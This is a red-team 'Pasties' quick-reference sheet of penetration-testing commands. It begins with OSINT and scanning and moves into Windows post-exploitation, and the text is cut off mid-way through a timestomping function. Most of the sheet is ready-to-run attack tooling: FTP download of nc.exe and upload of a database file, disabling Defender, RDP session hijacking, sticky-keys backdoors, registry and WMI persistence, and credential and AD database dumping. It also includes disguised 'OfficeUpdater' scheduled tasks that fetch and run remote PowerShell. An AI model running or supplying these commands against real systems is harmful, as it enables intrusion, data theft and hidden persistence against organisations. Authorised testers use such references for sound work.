__________ _____ ____________________.______________ _________
\______ \/ _ \ / _____/\__ ___/| \_ _____// _____/
| ___/ /_\ \ \_____ \ | | | || __)_ \_____ \
| | / | \/ \ | | | || \/ \
|____| \____|__ /_______ / |____| |___/_______ /_______ /
\/ \/ \/ \/
'Pasties' started as a small file used to collect random bits of information and scripts that were common to many individual tests. Most of this is just a consolidation of publicly available information and things that Joe Vest (@joevest), Andrew Chiles (@andrewchiles), Derek Rushing, or myself (@minis_io) have found useful. Over time additional sections, section placeholders, snippets, and links were added for "quick reference" and has grown to quite a sizable markdown file. The more complex or longer sections will be separated into smaller more detailed write-ups; however, we decided to drop the short and generic info for public use now. Pasties data will also eventually be formatted and added to the wiki.
!!! Note Additional script examples for hunting or defensive configurations can be found in the Threat Express Mitigations markdown.
- Penetration Testing Methodology References
- OSINT
- Network Scanning
- Windows
- Command and Control
- Linux
- Web Exploitation
- Misc
Penetration Testing Framework
Penetration Testing Execution Standard
Good writeup on passive information gathering
Password Breach Database, requires subscription
Source: http://resources.infosecinstitute.com/kali-reporting-tools/#gref
Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) related to a target domain. It can give a lot of important information by scanning the obtained files. It can generate an HTML page with the result of the metadata extracted, plus a list of potential usernames, very useful for preparing a brute force attack on open services like ftp, web application, VPN, pop3, etc.
Metagoofil performs the following:
- Searches the given file type using the Google search engine
- Downloads all the documents found
- Extracts metadata from downloaded documents
- Saves the result in HTML file
Perform document metadata searching on target domain using first 200 google results
metagoofil -d <target>.com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 200 -n 5 -o /tmp/metagoofil/ -f /tmp/metagoofil/result.html
Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet. Driven by Internet-wide scanning, Censys lets researchers find specific hosts and create aggregate reports on how devices, websites, and certificates are configured and deployed.
- Create an account and get an API key for use in ReconNG or manual searching
- https://censys.io/ipv4?q=
Python API
# pip install censys
import censys.ipv4
c = censys.ipv4.CensysIPv4(api_id="Get from MyAccount at censys.io", api_secret="Get from MyAccount at censys.io")
ranges=["X.X.X.0/24", "X.X.X.0/24", "X.X.X.0/24"]
for range in ranges:
results = c.search(range)
for result in results:
for port in result["protocols"]:
print result["ip"] + "," + port
Normal dns reverse lookup of IP range with CSV output
dnsrecon -t rvl -r 1.2.3.4/24 -c output.csv
Perform default enumeration of a domain
dnsrecon -d <domain>
Perform zone transfer attempt
dnsrecon -t axfr -d <domain>
╰ $ dnsrecon -h
Version: 0.8.10
Usage: dnsrecon.py <options>
Options:
-h, --help Show this help message and exit.
-d, --domain <domain> Target domain.
-r, --range <range> IP range for reverse lookup brute force in formats (first-last) or in (range/bitmask).
-n, --name_server <name> Domain server to use. If none is given, the SOA of the target will be used.
-D, --dictionary <file> Dictionary file of subdomain and hostnames to use for brute force.
-f Filter out of brute force domain lookup, records that resolve to the wildcard defined
IP address when saving records.
-t, --type <types> Type of enumeration to perform:
std SOA, NS, A, AAAA, MX and SRV if AXRF on the NS servers fail.
rvl Reverse lookup of a given CIDR or IP range.
brt Brute force domains and hosts using a given dictionary.
srv SRV records.
axfr Test all NS servers for a zone transfer.
goo Perform Google search for subdomains and hosts.
snoop Perform cache snooping against all NS servers for a given domain, testing
all with file containing the domains, file given with -D option.
tld Remove the TLD of given domain and test against all TLDs registered in IANA.
zonewalk Perform a DNSSEC zone walk using NSEC records.
-a Perform AXFR with standard enumeration.
-s Perform a reverse lookup of IPv4 ranges in the SPF record with standard enumeration.
-g Perform Google enumeration with standard enumeration.
-w Perform deep whois record analysis and reverse lookup of IP ranges found through
Whois when doing a standard enumeration.
-z Performs a DNSSEC zone walk with standard enumeration.
--threads <number> Number of threads to use in reverse lookups, forward lookups, brute force and SRV
record enumeration.
--lifetime <number> Time to wait for a server to response to a query.
--db <file> SQLite 3 file to save found records.
--xml <file> XML file to save found records.
--iw Continue brute forcing a domain even if a wildcard records are discovered.
-c, --csv <file> Comma separated value file.
-j, --json <file> JSON file.
-v Show attempts in the brute force modes.
Perform lookup against with additional DNS reverse on all ranges discovered
theharvester -d <domain> -c -n -b google -l 1000 [-f output]
Usage: theharvester options
-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp
linkedin, google-profiles, people123, jigsaw,
twitter, googleplus, all
-s: Start in result number X (default: 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with(bing goes from 50 to 50 results,
-h: use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn't use this option)
Examples:
theharvester -d microsoft.com -l 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -l 200 -b linkedin
theharvester -d apple.com -b googleCSE -l 500 -s 300
https://github.com/bluscreenofjeff/CCDC-Scripts/blob/master/OpsPlan2016.txt
Host discovery
nmap -sn -n <targets> nmap -A <host> (run this second) nmap -sV -F nmap -p- -sV -O -T4 -v7 -sC
Open SMB shares
nmap --script=smb-enum-shares -p445
Open NFS Shares
nmap -p 111,2049 --script nfs-ls,nfs-showmount
UDP scan:
nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 <targets>
Anonymous FTP
nmap -sC -sV -p21 nmap -sV -n -sS -Pn-vv --open -p21 --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 <targets>
VNC Brute
nmap --script=vnc-brute -p5800,5900
Rawr Scan
nmap -sV --open -T4 -v7 -p80,280,443,591,593,981,1311,2031,2480,3181,4444,4445,4567,4711,4712,5104,5280,5800,5988,5989,7000,7001,7002,8008,8011,8012,8013,8014,8042,8069,8080,8081,8243,8280,8281,8531,8887,8888,9080,9443,11371,12443,16080,18091,18092 -iL live-hosts.txt -oA web
MSSQL Scan
nmap -vv-sV -Pn-n -p1433 --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --script-args=mssql.instance-port=1433,smsql.username-sa,mssql.password-sa <targets> -oA <outfile>
HTTP Scan
nmap -vv -sS -Pn-n -p80,443,8080 --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-email-harvest,http-methods,http-method-tamper,http-passwd,http-robots.txt <targets> -oA <outfile>
Append extra random data to change default packet lengths
–data-length 15
Randomize scan order
-randomize-hosts
Get the most recent version
git clone https://github.com/ChrisTruncer/EyeWitness.git
Faster Scan
./EyeWitness.py --web -f hosts.txt --timeout 5 --threads 10 -d /mnt/event/Recon/ew --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https
Slow version via proxychains
proxychains ./EyeWitness.py --web -f hosts.txt --timeout 10 --threads 2 -d /mnt/event/Recon/ew --no-dns --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https
proxychains ./EyeWitness.py --web -x nmaphosts.xml --timeout 10 --threads 2 -d /mnt/event/Recon/ew2 --no-dns --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https
Proxychains specify a remote DNS server
http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
On Kali linux its found here: /usr/lib/proxychains3/proxyresolv
#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2
if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi
export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
Use Canary tokens to identify web front-end vulnerabilities
In combination with Burp collaborator, identify configuration issues with web front-end appliances
For example, issue request to target domain with a custom Host header pointing to your collaborator/canary:
Request:
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
Response (on Collaborator):
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
Canarytokens.org Blog - Targeting HTTP's Hidden Attack Surface
View your current user:
whoami
View information about the current user:
net user myuser(for a local user)
net user myuser /domain (for a domain user)
View the local groups:
net localgroup
View the local administrators:
net localgroup Administrators
Add a new user:
net user myuser mypass /add
Add a user in the local Administrators group:
net localgroup Administrators myuser /add
View the domain name of current machine:
net config workstation
net config server
View the name of the domain controller:
reg query "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\ CurrentVersion\Group Policy\ History" /v DCName
or
Import-Module ActiveDirectory; (Get-ADDomainController -DomainName corp.test.com -Discover -NextClosestSite).HostName
or
set l
Get list of DCs
nltest /dclist:domainname
or
netdom query /D:domin DC
or
dsquery server
or
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.test.com
Get DC Info
nltest /dsgetdc:domain
Get DC site mapping
nltest /dsaddresstosite:dcname.corp.test.com
Get PDC
netdom query /D:domain PDC
or
nslookup -type=srv _ldap._tcp.pdc._msdcs.corp.test.com
or get roles
Get Roles
netdom query /D:domain FSMO
List trusts
nltest /domain_trust
or
nltest /trusted_domains
or
get-adtrust -Filter *
Get DC for Trusted Domains
$t=Get-AdTrust -Filter * |Select -expandproperty Name;foreach($line in $t){nltest /dclist:$line}
View the list of domain users:
C:\> wmic useraccount where (domain='%USERDOMAIN%') get Name > userlist.txt
PS C:\> ([adsisearcher]"objectCategory=User").Findall() | ForEach
{$_.properties.samaccountname} | Sort | Out-File -Encoding ASCII users.txt
or
net user /domain
Get domain info (including DC)
gpresult /z
View the list of domain admins:
net group "Domain Admins" /domain
View domain groups
net group /domain
powershell (new-object system.directoryservices.directorysearcher("(&(objectcategory=user)(samaccountname=$($env:username)))")).FindOne().GetDirectoryEntry().memberof
View the list of started services (search for antivirus):
net start
sc query
Stop a service:
net stop "Symantec Endpoint Protection"
View the list of started processes and the owner:
tasklist /v
Kill a process by its name:
taskkill /F /IM "cmd.exe"
Abort a shutdown/restart countdown:
shutdown /a
Download an executable from a remote FTP server:
echo open 10.1.2.3> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo get nc.exe>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt
Upload a file to a remote FTP server:
echo open 10.1.2.3> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo put E:\backups\database.dbf>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt
WMI call remote system
wmic /node:remote_computer process call create "netstat.exe -ano > C:\output.txt"
WMI get startup items
wmic startup get Caption, Command, User
or
wmic startup list full
WMI get enabled account password expiration
wmic useraccount where "disabled=0 AND localaccount=1" get name, passwordexpires /value
View established connections of current machine:
netstat -a -n -p tcp | find "ESTAB"
View open ports of current machine:
netstat -a -n -p tcp | find "LISTEN"
netstat -a -n -p udp
View network configuration:
netsh interface ip show addresses
netsh interface ip show route
netsh interface ip show neighbors
View current network shares:
net share
Mount a remote share with the rights of the current user:
net use K: \\10.1.2.3\C$
Enable Remote Desktop:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
One-Liner Windows Enumeration Reference: https://gist.github.com/KyleHanslovan/cadf9737401b85422c84091855473eb7
whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group "domain admins" /domain 2>&1 & net group "Exchange Trusted Subsystem" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & net view & net view /domain & net user %USERNAME% /domain & nltest /dclist & gpresult /z
Check for unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v """
or
gwmi win32_service |Select pathname | Where {($_.pathname -ne $null)} | Where {-not $_.pathname.StartsWith("`"")} | Where {($_.pathname.Substring(0, $_.pathname.IndexOf(".") +4)) -match ".* .*"}
Change Windows Proxy Settings
Command to enable proxy usage:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
Command to disable proxy usage:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
Command to change the proxy address:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d proxyserveraddress:proxyport /f
Also, in this case, it is a per-user setting than a system-wide setting.
Mount a .win image remotely on target machine
Dism /get-wiminfo /wimfile:z:\win7\Acme_Win7.wim
Boot Dir
Dism /Mount-Wim /WimFile:z:\win7\Acme_Win7.wim /index:1 /MountDir:C:\windows\temp\offline
C: Drive
Dism /Mount-Wim /WimFile:z:\win7\Acme_Win7.wim /index:2 /MountDir:C:\windows\temp\offline
Dism /UnMount-Wim /MountDir:C:\windows\temp\offline /discard
For loop example
for /D %f in ("C:\Users\username\*") do dir %f
For loop, count lines
for /R "C:\users\username\desktop" %f in (*) do find /c /v "" %f
Check if file is locked
@echo off; 2>nul ( >>file.txt echo off) && (echo not locked) || (echo locked)
Lock a file for testing
(>&2 pause) >> file.txt
Get attributes for all Windows hosts in the Domain
dsquery * -filter "(&(objectclass=computer) (objectcategory=computer) (operatingSystem=Windows*))" -limit 0 |dsget computer -dn -samid -desc -loc >c:\windows\temp\computers.log
Get attributes for computers in a specific OU
dsquery computer <OU=PUT OU HERE> -limit 0 |dsget computer -dn -samid -desc -l >c:\windows\temp\out.log
Get attributes for users in the specified OU
dsquery user <OU=PUT OU HERE> -limit 0 |dsget user -dn -samid -display -desc -office -tel -email -title -hmdir -profile -loscr -mustchpwd -canchpwd -pwdneverexpires -disabled
Get DC
dsquery server -forest
or
dsquery server -o rdn -forest
Get Domain Functional Level
dsquery * "DC=corp,DC=test,DC=com" -scope base -attr msDS-Behavior-Version ntMixedDomain
Get Forest Functional Level
dsquery * "CN=Partitions,CN=Configuration,DC=corp,DC=test,DC=com" -scope base -attr msDS-Behavior-Version ntMixedDomain
List Databases
sqlcmd -E -S localhost -Q "EXEC sp_databases;"
List Tables in Database
sqlcmd -E -S localhost -Q "SELECT * FROM DatabaseName.information_schema.tables;" -W -w 999 -s"," -o "c:\windows\temp\RecruiterProd_MSCRM_tables.csv"
Retrieve table contents
sqlcmd -E -S localhost -d DatabaseName -Q "SELECT * FROM SystemUserBase;" -W -w 999 -s"," -o "c:\windows\temp\RecruiterProd_MSCRM_userbase.csv"
Dump MSSQL Password Hashes
sqlcmd -E -S localhost -Q "SELECT name, password_hash FROM master.sys.sql_logins;"
Built-in utility to create backup copy of the AD database
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
List Applocker's effective policy on the system
Get-ApplockerPolicy -Effective
Remove definitions and disable AV protection (Useful when Powershell scripts are being blocked by Defender)
c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
Get virtual directories in IIS
c:\windows\system32\inetsrv\appcmd.exe list vdir /text:physicalpath
RDP Hijacking
If you have SYSTEM context on a host, you can assume the RDP sessions of other users without credentials using the tscon.exe command.
Gain access to cmd.exe to issue the tscon.exe command over RDP by creating a backdoor with Stickkeys or Utilman. Use scheduled tasks (as SYSTEM) or create a service to execute the desired command.
# View RDP sessions on system your RDP'd to with administrative permissions
# Locally
quser
# Remote
quser /server:<servername>
# Create a service that will swap your SESSIONNAME with the desired disconnected session
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#XX" error= "ignore"
# Start service
net start sesshijack
or
sc start sesshijack
Linux to Windows Remoting
- In windows run
winrm set winrm/config/Service/Auth @{Basic="true"}
winrm set winrm/config/Service @{AllowUnencrypted="true"}
- In linux run
$cred = Get-Credential
Enter-PSSession -ComputerName 'winserver1' -Credential $cred -Authentication Basic
PowerShell Remoting over SSH
Enter-PSSession -Hostname <IP or FQDN> -Username james -SSHTransport
#Add a key/value
reg add \\<systemname>\<KEY> /v "<value>"" /t <type (Binary,REG_SZ,etc)> /d <data>
#Delete a key/value
reg delete \\<systemname>\<KEY> /v "<value>"
This key specifies what program should be launched right after a user logs into Windows. The default program for this key is C:\windows\system32\userinit.exe. Userinit.exe is a program that restores your profile, fonts, colors, etc for your user name. It is possible to add further programs that will launch from this key by separating the programs with a comma.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = (REG_SZ) C:\windows\system32\userinit.exe,c:\windows\badprogram.exe
#System Wide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
#Current Logged-On User Only
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\MS\WindowsNT\CurrentVersion\Image File Execution Options\notepad.exe\debugger(REG_SZ = cmd.exe)
Load custom DLLs each time a program runs (If it loads USER32.dll). This is checked by most AV!
This value corresponds to files being loaded through the AppInit_DLLs Registry value. The AppInit_DLLs registry value contains a list of dlls that will be loaded when user32.dll is loaded. As most Windows executables use the user32.dll, that means that any DLL that is listed in the AppInit_DLLs registry key will be loaded also. This makes it very difficult to remove the DLL as it will be loaded within multiple processes, some of which can not be stopped without causing system instability. The user32.dll file is also used by processes that are automatically started by the system when you log on. This means that the files loaded in the AppInit_DLLs value will be loaded very early in the Windows startup routine allowing the DLL to hide itself or protect itself before we have access to the system.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Windows\AppInit_DLLs
Navigate to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Make key called "sethc.exe"
Make a REG_SQ value called "Debugger"
Assign it "c:\windows\system32\cmd.exe" as the value
Hit SHIFT 5 times and get a shell as nt authority\system
reg add "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"
reg add "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"
Remove the debugger key
reg delete "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg delete "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f
#All Users - Windows XP
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#All Users - Windows Vista+
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
#User Profile - Windows XP
C:\Documents and Settings\<USERNAME>\Start Menu\Programs\Startup
#User Profile - Windows Vista+
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Replace these binaries, may require a reboot to take effect
%WINDIR%\System32\sethc.exe
%WINDIR%\System32\utilman.exe
Hit shift 5 times = sethc.exe run by SYSTEM Windows key + U = utilman.exe run by SYSTEM
Windows service that's constantly running - takes snapshots of system directories
Drop Malware -> Create VSC (ReadOnly) -> Delete Malware -> Use WMIC to run VSC of malware
Registry Key to Disable Volume Shadow Copy
HKLM\System\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot
vssadmin create command only applies to Server OS (Win2k3,2008)
vssadmin list shadows
vssadmin create shadow /for=C:
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C
mklink /D C:\VscAccess \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1
copy \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy4\path\to\some\file e:\files
wmic process call create \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\evil.exe
This process will not show the imagename (executable filename) or commandline parameters in the task list. The file cannot be individually deleted from the shadow copy once created. The entire shadow copy must be deleted to remove it.
root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe
NTSTATUS: NT_STATUS_OK - Success
In Kali Linux you could use the WMIS package to do the same thing:
wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe
NTSTATUS: NT_STATUS_OK - Success
Executes as system and must be an Admin to run it. Check groups with whoami /groups
at 13:20 /interactive cmd
net user \\target /user:Domain\user pass
net time \\target
at \\target 13:20 c:\temp\evil.bat
Any user can create a task
Schedule a binary to run with arguments on system events
#On System Startup
schtasks /create /TN OfficeUpdaterA /tr ""c:\evil32.exe" -k password -n services" /SC onstart /RU system /RL HIGHEST
schtasks /create /TN OfficeUpdaterD /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onstart /RU system /RL HIGHEST
#On User Login
schtasks /create /TN OfficeUpdaterB /tr ""c:\evil32.exe" -k password -n services" /SC onlogon
schtasks /create /TN OfficeUpdaterE /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onlogon
#On Idle
schtasks /create /TN OfficeUpdaterC /tr ""c:\evil32.exe" -k password -n services" /SC onidle /i 30''''
schtasks /create /TN OfficeUpdaterF /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onidle /i 60
Use the Powershell Web Delivery (Download and Execute) module in Metasploit 'exploit\windows\misc\psh_web_delivery'
#(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://<ip address>/<uri>'''))'" /sc onlogon /ru System
#(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://<ip address>/<uri>'''))'" /sc onstart /ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://<ip address>/<uri>'''))'" /sc onidle /i 30
#(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://<ip address>/<uri>'''))'" /sc onlogon /ru System
#(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://<ip address>/<uri>'''))'" /sc onstart /ru System
#(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
Scheduled Tasks binary paths CANNOT contain spaces because everything after the first space in the path is considered to be a command-line argument. To workaround this behavior, enclose the /TR path parameter between backslash () AND quotation marks ("):
Delete scheduled task without prompting
schtasks /delete /f /TN taskname
Detailed scheduled tasks listing
schtasks /query /V /FO list
View scheduled tasks log (for troubleshooting)
notepad c:\windows\schedlgu.txt (Windows XP)
notepad c:\windows\tasks\schedlgu.txt (Vista+)
sc query
sc create <\\Target(optional)> <servicename> binPath= <service binary path> type= share start= auto DisplayName= <display name>
sc delete <servicename>
Order of DLL Loading
1. The directory from which the application is loaded
2. The current directory
3. The system directory, usually C:\\Windows\\System32\\ (The GetSystemDirectory function is called to obtain this directory.)
4. The 16-bit system directory - There is no dedicated function to retrieve the path of this directory, but it is searched as well.
5. The Windows directory. The GetWindowsDirector function is called to obtain this directory.
6. The directories that are listed in the PATH environment variable.
Many systems use bginfo (seen it a lot in operational sys). Drop Riched32.dll in the dir with bginfo.exe. Codex.
Older list of dlls as well (2010). https://www.exploit-db.com/dll-hijacking-vulnerable-applications/
On Windows 7 there are three executables that could be exploited and associated DLLs listed below
C:\windows\ehome\Mcx2Prov.exe
C:\Windows\ehome\CRYPTBASE.dll
C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\sysprep\CRYPTSP.dll
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\RpcRtRemote.dll
C:\Windows\System32\sysprep\UxTheme.dll
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
On Windows 8 there are also three executables that could be exploited and associated DLLs listed below
C:\windows\System32\sysprep\sysprep.exe
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\Sysprep\dwmapi.dll
C:\Windows\System32\Sysprep\SHCORE.dll
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Windows\System32\UReFS.DLL
Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below
C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll
C:\Windows\System32\Sysprep\OLEACC.DLL
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll
Windows explorer in older systems loads linkinfo.dll from c:\windows over c:\windows\system32 if it exists
copy evil.dll c:\windows\linkinfo.dll
WMI Event persistence explained, you can find a bloated version in powersploit. Three parts to this:
- WMI Event Filter
- Event Consumer
- Filter/Consumer Binding This technique gets you SYSTEM level persistence, requires admin rights to execute. Autoruns doesn't even check for this yet. (doubt any AVs are either) Difficult to detect, Difficult to remove if you dont know what youre doing.
Create an event that checks every 60 seconds for a change in Win32_PerfFormattedData_PerfOS_System. (this is always changing)
$EventFilter = ([WMICLASS]"\\.\root\subscription:__EventFilter").CreateInstance()
$EventFilter.QueryLanguage = "WQL"
$EventFilter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$EVentFilter.EventNamespace = "root\cimv2"
$EventFilter.Name = "OBVIOUSHACKER"
$Result = $EventFilter.Put()
$Filter = $Result.Path
http://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx
Configure what to execute once the event occurs. Current example is just a ping.
$InstanceConsumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$InstanceConsumer.Name = "OBVIOUSHACKER"
$InstanceConsumer.CommandLineTemplate = "ping 127.0.0.1 -n 100" #CMD TO EXECUTE HERE
$InstanceConsumer.WorkingDirectory = "C:\\windows\\system32"
$Result = $InstanceConsumer.Put()
$Consumer = $Result.Path
http://msdn.microsoft.com/en-us/library/aa389231(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx
This is the object that correlates the Filter with the Consumer. Runs as system as a child of WmiPrvSE.exe under the svchost.exe running Dcom service.
$InstanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$InstanceBinding.Filter = $Filter
$InstanceBinding.Consumer = $Consumer
$Result = $InstanceBinding.Put()
http://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx
The filter name would change depending on what you call the wmi event on your target (OBVIOUSHACKER shown as the example)
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='OBVIOUSHACKER'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='OBVIOUSHACKER'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'OBVIOUSHACKER'} | Remove-WmiObject
Some more detailed information on the subject
http://www.bleepingcomputer.com/tutorials/windows-program-automatic-startup-locations/
- Listens on 5985/5986 by default and allows interactive shell access over HTTP/S
- Find by scanning for /wsman and looking for HTTP 402 errors (or use Metasploit module)
- Metasploit has multiple modules for locating the service and gaining shells over WinRM
Connect to a remote host with WinRM from local Windows host
Enable-PSRemoting
Set-Item -Path WSMan:\localhost\Client\TrustedHosts * -force
or
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -value "<host>" -Force
$cred = Get-Credential
Invoke-Command -ComputerName <host> -ScriptBlock { gci c:\ } -credential $cred
wusa.exe /uninstall /kb:976932
Function Set-FileTimeStamps
{
Param (
[Parameter(mandatory=$true)]
[string[]]$path,
[datetime]$date = (Get-Date))
